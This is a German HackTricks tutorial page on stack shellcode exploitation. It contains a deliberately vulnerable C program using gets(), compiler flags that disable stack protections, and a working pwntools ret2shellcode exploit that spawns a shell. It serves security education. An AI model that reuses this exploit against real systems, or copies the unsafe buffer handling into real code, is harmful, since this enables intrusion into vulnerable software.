mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
5.4 KiB
Markdown
92 lines
5.4 KiB
Markdown
# Stack Shellcode
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Grundinformationen
|
|
|
|
**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so modifiziert, dass er auf die Stelle dieses Shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte.
|
|
|
|
### C-Beispiel: Ein verwundbares Programm
|
|
|
|
Lass uns mit einem einfachen Beispiel eines verwundbaren C-Programms beginnen:
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void vulnerable_function() {
|
|
char buffer[64];
|
|
gets(buffer); // Unsafe function that does not check for buffer overflow
|
|
}
|
|
|
|
int main() {
|
|
vulnerable_function();
|
|
printf("Returned safely\n");
|
|
return 0;
|
|
}
|
|
```
|
|
Dieses Programm ist anfällig für einen Buffer Overflow aufgrund der Verwendung der `gets()`-Funktion.
|
|
|
|
### Kompilierung
|
|
|
|
Um dieses Programm zu kompilieren und dabei verschiedene Schutzmaßnahmen zu deaktivieren (um eine anfällige Umgebung zu simulieren), können Sie den folgenden Befehl verwenden:
|
|
```sh
|
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|
```
|
|
- `-fno-stack-protector`: Deaktiviert den Stack-Schutz.
|
|
- `-z execstack`: Macht den Stack ausführbar, was notwendig ist, um Shellcode, der im Stack gespeichert ist, auszuführen.
|
|
- `-no-pie`: Deaktiviert Position Independent Executable, was es einfacher macht, die Speicheradresse vorherzusagen, an der sich unser Shellcode befinden wird.
|
|
- `-m32`: Kompiliert das Programm als 32-Bit ausführbare Datei, oft zur Vereinfachung in der Exploit-Entwicklung.
|
|
|
|
### Python Exploit mit Pwntools
|
|
|
|
Hier ist, wie Sie einen Exploit in Python mit **pwntools** schreiben könnten, um einen **ret2shellcode**-Angriff durchzuführen:
|
|
```python
|
|
from pwn import *
|
|
|
|
# Set up the process and context
|
|
binary_path = './vulnerable'
|
|
p = process(binary_path)
|
|
context.binary = binary_path
|
|
context.arch = 'i386' # Specify the architecture
|
|
|
|
# Generate the shellcode
|
|
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
|
|
|
# Find the offset to EIP
|
|
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
|
|
|
# Prepare the payload
|
|
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
|
nop_slide = asm('nop') * (offset - len(shellcode))
|
|
payload = nop_slide + shellcode
|
|
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
|
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|
|
|
# Send the payload
|
|
p.sendline(payload)
|
|
p.interactive()
|
|
```
|
|
Dieses Skript erstellt eine Nutzlast, die aus einem **NOP-Slide**, dem **Shellcode** und dann dem Überschreiben des **EIP** mit der Adresse besteht, die auf das NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
|
|
|
|
Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren Shellcode "gleitet", unabhängig von der genauen Adresse. Passen Sie das `p32()`-Argument an die Startadresse Ihres Buffers plus einen Offset an, um im NOP-Slide zu landen.
|
|
|
|
## Schutzmaßnahmen
|
|
|
|
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse bei mehreren Ausführungen zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die Gewinnfunktion geladen ist.
|
|
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rückgabeadresse niemals verfolgt wird.
|
|
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **Stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar ist.
|
|
|
|
## Weitere Beispiele & Referenzen
|
|
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
|
- 64-Bit, ASLR mit Stack-Adress-Leak, Shellcode schreiben und zu ihm springen
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
|
- 32-Bit, ASLR mit Stack-Leak, Shellcode schreiben und zu ihm springen
|
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
|
- 32-Bit, ASLR mit Stack-Leak, Vergleich zur Verhinderung des Aufrufs von exit(), Variable mit einem Wert überschreiben und Shellcode schreiben und zu ihm springen
|
|
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
|
- arm64, kein ASLR, ROP-Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|